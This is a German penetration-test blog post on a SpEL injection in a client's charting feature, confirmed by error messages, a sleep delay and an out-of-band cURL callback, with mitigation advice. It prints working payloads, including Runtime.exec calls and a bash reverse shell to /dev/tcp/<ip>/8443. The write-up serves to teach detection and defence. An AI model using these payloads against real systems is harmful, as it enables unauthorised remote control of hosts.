In einem aktuellen Kundenprojekt haben wir eine kritische Sicherheitslücke im Zusammenhang mit Spring Expression Language (SpEL) entdeckt, die zu einer Remote Code Execution (RCE) führen kann. In diesem Fall konnte die Sicherheitslücke nicht direkt ausgenutzt werden, sondern musste mithilfe von Blind- oder Out-of-Band-Techniken (OOB) bestätigt und ausgenutzt werden.
In diesem Blogbeitrag zeigen wir, wie Sie (SpEL)-Injection-Schwachstellen entdecken und überprüfen können, wenn der Server keine Befehlsausgabe, sondern nur Fehlermeldungen zurückgibt. Wir gehen von einer einfachen Fehlermeldung zur Bestätigung der Schwachstelle auf RCE-Ebene über und schließen mit praktischen Ratschlägen, wie Sie die Schwachstelle testen und beheben können.
Wenn Sie bereits mit SpEl vertraut sind, können Sie direkt zum Abschnitt „Exploit“ springen: Exploit – Von der Fehlermeldung zur Remote-Codeausführung.
Übersicht – Ausdruckssprachen
Die folgenden Kapitel bieten eine kurze Einführung in die Ausdruckssprache (Expression Language, EL) und Spring EL (SpEL). Wir zeigen einige Unterschiede zwischen klassischer EL und Spring EL auf und betonen, dass es mehrere Arten von EL gibt, die jeweils unterschiedliche Funktionen und Fähigkeiten aufweisen. Daher erfordert die Nutzung der verschiedenen Varianten maßgeschneiderte Nutzdaten, die deren spezifische Syntax, Verhalten und Fähigkeiten berücksichtigen.
Ausdruckssprache (EL)
Mit EL können Entwickler Ausdrücke verwenden, um dynamisch auf Anwendungsdaten zuzugreifen und diese zu bearbeiten. Diese Ausdrücke werden zur Laufzeit ausgewertet und ermöglichen so die Interaktion zwischen der Präsentationsschicht (z. B. Webseiten) und der Anwendungslogik (z. B. managed beans).
Mit EL können Entwickler beispielsweise:
- Anwendungsdaten dynamisch aus JavaBeans, collections, maps usw. lesen.
- Daten – wie Formular-Eingaben – zurück in JavaBeans schreiben.
- Öffentliche und statische Methoden aufrufen.
- Arithmetische, boolesche und String-Operationen durchführen.
Verschiedene Ausdruckssprachen können in verschiedenen Java-basierten Technologien verwendet werden, z. B. Jakarta Faces (JSF), Jakarta Server Pages (JSP), Apache Struts oder Wildfly. Es wird auch in Frameworks wie Spring oder Template-Engines wie Apache FreeMarker oder Thymeleaf unterstützt.
Neben den Besonderheiten der jeweiligen EL kann das Verhalten der verwendeten EL zusätzlich je nach verwendeter Version variieren. Verschiedene EL-Versionen können bestimmte Funktionen und Eigenschaften aktivieren oder einschränken. Das Verständnis dieser Unterschiede ist sowohl aus Sicht der Verteidigung als auch aus Sicht des Angriffs wichtig.
Expression Language (EL) Injection
Wie alle anderen Injection-Schwachstellen (z. B. SQL- oder Command-Injection) treten Expression Language Injections auf, wenn nicht vertrauenswürdige Eingaben unsachgemäß verarbeitet und an einen (EL-)Interpreter weitergeleitet werden. Wie alle anderen Injection-Schwachstellen resultiert auch die EL-Injection aus einer unzureichenden Trennung zwischen Code und Daten, wodurch Angreifer EL-Ausdrücke zur Laufzeit manipulieren können.
Mögliche Risiken können sein:
- Zugriff auf sensible Daten (z. B. Lesen von Umgebungsvariablen)
- Änderung und Aufruf von Funktionen auf dem Anwendungsserver
- Unbefugter Zugriff auf Daten und Funktionen
- Remote Code Execution (RCE)
Die Remote-Code-Ausführung ist jedoch nur für bestimmte ELs in bestimmten Versionen möglich. Beispielsweise erlaubte die Expression Language in einer Version vor 2.2 nur einen breiten Zugriff auf implizite Objekte wie sessionScope, applicationScope und verschiedene Modell- oder Bean-Objekte. Mit Version 2.2 wurde jedoch die Unterstützung für Methodenaufrufe innerhalb von EL-Ausdrücken eingeführt. Anfällige Endpunkte könnten nun potenziell dazu verwendet werden, beliebigen Code im Kontext der Anwendung auszuführen.
Kleiner PoC einer EL-Injection-Sicherheitslücke
Der folgende (anfällige) Codeausschnitt kann verwendet werden, um Daten aus der URL abzurufen und auf der Webseite anzuzeigen. Der Parameter „user“ wird über ${userInput} direkt an einen EL-Ausdruck übergeben. Wenn ein Angreifer eine EL-Syntax wie ${7*7} oder ${request.getHeader(„host“)} angibt, wird diese vom EL-Prozessor ausgewertet.

Spring Expression Language (SpEL)
Die Spring Expression Language (SpEL) verwendet eine Syntax, die der Unified Expression Language von Java EE sehr ähnlich ist. SpEL bietet jedoch zusätzliche Funktionen wie Methodenaufruf, Eigenschaftszugriff, Bean-Referenzen und String-Templating.
Obwohl eine ähnliche Syntax verwendet wird, haben dieselben Symbole nicht immer dieselbe Bedeutung. In Java EE steht beispielsweise ${expr} für eine sofortige Auswertung, d. h., der Ausdruck wird zum Zeitpunkt seines Auftretens ausgewertet. Umgekehrt bedeutet #{expr} eine verzögerte Auswertung, sodass der Ausdruck zu einem späteren Zeitpunkt, in der Regel während der Laufzeit, aufgelöst werden kann. In Spring wird die Syntax ${…} jedoch für Eigenschaftsplatzhalter verwendet (z. B. aus application.properties, Umgebungsvariablen). Im Gegensatz dazu ruft #{…} SpEL auf, wodurch Ausdrücke ausgewertet, Methoden aufgerufen, Beans referenziert usw. werden können und somit leistungsfähigere Funktionen zur Verfügung stehen.
Spring Expression Language (SpEL)-Injection
Das Konzept der SpEL-Injection ist das gleiche wie bei der normalen EL-Injection: Nicht vertrauenswürdige Eingaben werden als Code ausgewertet. Bei SpEL ist die Angriffsfläche jedoch aufgrund des bereits erwähnten breiteren Funktionsumfangs größer.
Aufgrund der unterschiedlichen Syntax können SpEL-Injection-Schwachstellen mit unterschiedlichen Payloads ausgenutzt werden. Beispielsweise kann die Codeausführung in SpEL zusätzlich mit T(java.lang.Runtime).getRuntime().exec(„…“) erreicht werden, im Vergleich zu {„“.getClass().forName(„java.lang.Runtime“).getRuntime().exec(„…“)} in EL.
Dieses Risiko wird noch dadurch verstärkt, dass ältere Versionen von Spring (vor 3.0.6) ein bekanntes Problem hatten, bei dem bestimmte Spring-JSP-Tags EL doppelt aufgelöst haben. Das bedeutet, dass sowohl ${…}- als auch #{…}-Ausdrücke zweimal interpretiert werden konnten, was eine Öffnung für SpEL-Injection schuf – und dieses Verhalten konnte in diesen Versionen nicht deaktiviert werden.
Kleiner PoC der SpEL-Injection-Sicherheitslücke
Der folgende (anfällige) Spring-Codeausschnitt kann verwendet werden, um Daten aus der URL abzurufen und auf der Webseite anzuzeigen. Der Benutzerparameter wird über die Parametereingabe direkt an einen EL-Ausdruck übergeben. Wenn ein Angreifer die angezeigte Nutzlast bereitstellt, wird diese vom EL-Prozessor ausgewertet und der Rechner wird auf dem Rechner gestartet.
GET /spel?input=T(java.lang.Runtime).getRuntime().exec(‚calc‘)

Exploit – Von der Fehlermeldung zur Remote-Codeausführung
Entdeckung
Zunächst haben wir versucht, jede Ansicht der Webanwendung zu untersuchen, um alle bereitgestellten Funktionen zu identifizieren und alle Anfragen vom Frontend zum Backend zu ermitteln. Tief in der Anwendung fanden wir eine Funktion, mit der wir Diagramme erstellen und ändern konnten, die innerhalb der Anwendung angezeigt werden konnten. Die Ansicht enthielt ein Feld mit der Bezeichnung „Serien-Datengenerator“, das den ungewöhnlichen Platzhalter @anyChartComponent.createSeries(#root) enthielt, was uns dazu veranlasste, den Parameter genauer zu untersuchen. Wir begannen damit, den Platzhalter durch eine einfache Testzeichenfolge zu ersetzen. Dies löste eine SpelEvaluationException aus, wie im Screenshot zu sehen ist, was auf eine potenzielle SpEL-Injection-Sicherheitslücke hindeutete.
Nachdem wir bestätigt hatten, dass das abnormale Verhalten möglicherweise sicherheitsrelevant war, bestand unser nächster Schritt darin, festzustellen, ob die Schwachstelle tatsächlich ausgenutzt werden konnte.
Hinweis: Die Nutzlast löste nicht sofort einen Fehler während der Diagrammerstellung aus, sondern erst, als das Diagramm später in einer zweiten Anfrage abgerufen wurde. Der Screenshot zeigt nur die Antwort auf diese zweite Anfrage. Dies sollte ausreichen, um den Exploit-Pfad zu demonstrieren und gleichzeitig die Kundendaten zu schützen. Aus dem gleichen Grund werden nur teilweise Anfrage- und Antwortdaten angezeigt, wobei sensible Teile unkenntlich gemacht wurden.

Üblicher Nachweis einer SpEL-Injection-Sicherheitslücke
In Anlehnung an die in anderen Ressourcen beschriebenen Verfahren zur Identifizierung von EL- oder SpEL-Injection-Sicherheitslücken haben wir eine typische Payload verwendet, die versucht, die 7. Methode (Index 6) aus java.lang.Runtime über Reflection abzurufen. Der Zugriff auf die Runtime-Klasse würde auch eine hohe Wahrscheinlichkeit für die Möglichkeit einer Remote-Code-Ausführung nahelegen.
Der Server gab jedoch einen Fehler zurück, der darauf hinwies, dass „mehr Daten im Ausdruck“ vorhanden sind als die erwartete Methode. Dies ist zwar ein Rückschlag, aber der Fehler bestätigt auch, dass der übergebene Ausdruck an sich gültig war und erfolgreich geparst wurde, was wiederum vielversprechend ist. Dennoch erlaubt uns die Anwendung nicht, die Befehlsausführung direkt durch sichtbare Ausgabe zu überprüfen, sodass wir uns auf die folgenden alternativen Techniken verlassen müssen.
‚‚.getClass().forName(‚java.lang.Runtime‘).getMethods()[6]

Nachweis der Ausführung von Java-Funktionen über Blind-Technik
Wenn keine direkte Befehlsausgabe verfügbar ist, ist eine gängige Methode zur Bestätigung von Injektionsschwachstellen ein Blind-Ansatz, bei dem der Erfolg anhand indirekter Indikatoren wie dem Antwortzeitpunkt abgeleitet wird. Wir haben die Funktion Thread.sleep verwendet, um eine Verzögerung von 10 Sekunden auszulösen. Die um 10 Sekunden verzögerte Antwort des Servers bestätigte, dass vom Benutzer angegebene Java-Funktionen tatsächlich ausgeführt werden können.
Die Ausführung beliebiger Befehle allein über Java ist zwar möglich, dürfte jedoch sehr umständlich sein. Daher besteht der nächste Schritt darin, die direkte Befehlsausführung über eine andere Technik zu versuchen und zu bestätigen.
T(java.lang.Thread).sleep(10000)

Nachweis der Befehlsausführung (RCE) über Out-of-Band-Techniken (OOB)
Um die Remote-Codeausführung (RCE) zu erreichen und zu überprüfen, haben wir eine Out-of-Band-Technik (OOB) verwendet. Dabei wird die Schwachstelle so ausgelöst, dass das Zielsystem zur Interaktion mit einem externen Server (z. B. über DNS oder HTTP) gezwungen wird, sodass wir die Ergebnisse unabhängig von der direkten Antwort der Anwendung beobachten können. In diesem Fall haben wir versucht, eine cURL-Anfrage an einen unserer eigenen Server auszulösen.
Wir haben uns für cURL entschieden, da wir aufgrund von Informationen aus einer anderen Schwachstelle, die Details über die Systemumgebung enthüllte, davon ausgegangen sind, dass cURL wahrscheinlich installiert war. Im Folgenden finden Sie die Versionszeichenfolge, die über die andere Schwachstelle extrahiert wurde.
PostgreSQL … auf aarch64-unknown-linux-gnu, kompiliert mit gcc (GCC) … (Red Hat …), 64-Bit
Die Verwendung anderer Binärdateien, die eine Verbindung zu einem anderen Server herstellen, wie ping, wget oder dig, wäre ebenfalls eine Option gewesen. Nebenbei bemerkt hätte die Verwendung von ping für die OOB-Überprüfung nicht funktioniert. Der Dienst war mit dem Attribut noNewPrivileges gehärtet, das verhindert, dass ausgeführte Binärdateien erhöhte Berechtigungen erhalten. Da ping solche Berechtigungen benötigt (auch wenn sie streng begrenzt sind), konnte es nicht über den RCE-Vektor ausgeführt werden.

Obwohl der Server einen Fehler zurückgab (im Gegensatz zum erfolgreichen sleep-basierten Payload zuvor), erhielten wir dennoch die cURL-Anfrage auf unserem Server – was den erfolgreichen RCE bestätigte.

Nachdem der RCE bestätigt war, bestand der nächste Schritt darin, den cURL-Aufruf durch einen Reverse-Shell-Payload zu ersetzen. Nach dem Auslösen durch das Abrufen des manipulierten Diagramms stellte die Reverse Shell erfolgreich eine Verbindung zu unserem Server her, wodurch wir die Kontrolle über den Host erhielten.
T(java.lang.Runtime).getRuntime().exec(\„bash -c $@|bash 0 echo bash -i >& /dev/tcp/<ip>/8443 0>&1\“)

Abhilfe
Die Abwehr von SpEL-Injektionen erfordert mehr als nur das Filtern, Escapen oder Kodieren von Sonderzeichen wie $, #, { oder } – wie in den oben genannten Payloads zu sehen ist.
Vermeiden Sie es, Benutzereingaben an SpEL-Ausdrücke weiterzugeben. Dies ist die einfachste und effektivste Schutzmaßnahme. Überlegen Sie, ob es nicht eine bessere oder andere Möglichkeit gibt, die gleiche Funktionalität zu erreichen, ohne Benutzereingaben an EL weiterzugeben.
Wenn Benutzereingaben an einen SpEL-Ausdruck übergeben werden müssen,
- überprüfen Sie die Benutzereingaben gründlich, bevor Sie sie in Ausdrücke einfügen. Idealerweise sollte eine Whitelist mit bestimmten akzeptierten Werten verwendet werden. Beispielsweise sollten nur kurze alphanumerische Zeichenfolgen akzeptiert werden. Eingaben, die andere Zeichen enthalten, sollten abgelehnt werden.
- bewerten Sie den Ausdruck nicht in einem vollständigen EL-Kontext (ein Beispiel in Spring finden Sie weiter unten).
- Fügen Sie Maßnahmen zur Absicherung und Verteidigung hinzu, wie z. B. die Absicherung des Hosts, Sandboxing usw.
Im Beispiel von Spring würde die Einschränkung des Ausführungskontexts bedeuten, den eingeschränkten Auswertungskontext SimpleEvaluationContext zu verwenden, der den Zugriff auf beliebige Methoden und Bean-Referenzen einschränkt.
Pentester-Info: So testen Sie auf SpEL
Das Testen auf SpEL-Injection folgt denselben Prinzipien wie jede andere Injection-Sicherheitslücke:
Identifizieren Sie zunächst die zugrunde liegende Technologie und das Framework. Suchen Sie nach Anzeichen für EL-fähige Plattformen wie Spring, JSP, JSF, Wildfly, Apache Struts usw. Suchen Sie als Nächstes nach geeigneten Benutzereingaben, die, wie bei jeder anderen Injection-Sicherheitslücke, im Grunde genommen alle vom Benutzer kontrollierbaren Eingaben innerhalb der Anwendung sind. Vergessen Sie nicht, Ihre Payloads an die Syntax und den Kontext anzupassen, die Sie im ersten Schritt identifiziert haben. Achten Sie auch auf versionsspezifische Besonderheiten.
Achten Sie schließlich auf Fehlermeldungen oder ungewöhnliches Verhalten, wie z. B.
- Stack-Traces, die auf SpelEvaluationException verweisen
- in Antworten gerenderte Ausdrucksergebnisse
- und beginnen Sie mit dem Exploiting.
Zusammenfassung
Eine (Spring) Expression Language Injection tritt auf, wenn Code und Daten nicht ordnungsgemäß voneinander getrennt werden, sodass nicht vertrauenswürdige Eingaben einen EL-Interpreter erreichen können.
Dies kann verschiedene Java-basierte Technologien betreffen:
- Java-basierte Web-Frameworks: Spring, JSP, JSF, Apache Struts2
- Java-Template-Engines: Apache FreeMarker, Thymeleaf usw.
Sie können dies auf die gleiche Weise wie jede andere Injection-Schwachstelle entdecken: Testen Sie alle benutzergesteuerten Eingaben, beobachten Sie das Verhalten und suchen Sie nach Anzeichen für die Analyse oder Ausführung von Ausdrücken.
Als allgemeine Empfehlung gilt, die Übergabe von Benutzereingaben an EL-Interpreter generell zu vermeiden. Wenn dies unbedingt erforderlich ist, validieren Sie die Eingaben streng und verwenden Sie eingeschränkte Auswertungskontexte (z. B. SimpleEvaluationContext in Spring).
Ressourcen
- https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm
- https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
- https://docs.spring.io/spring-framework/reference/core/expressions/evaluation.html
- https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/
Entdecker: Hendrik Eichner, mgm security partners
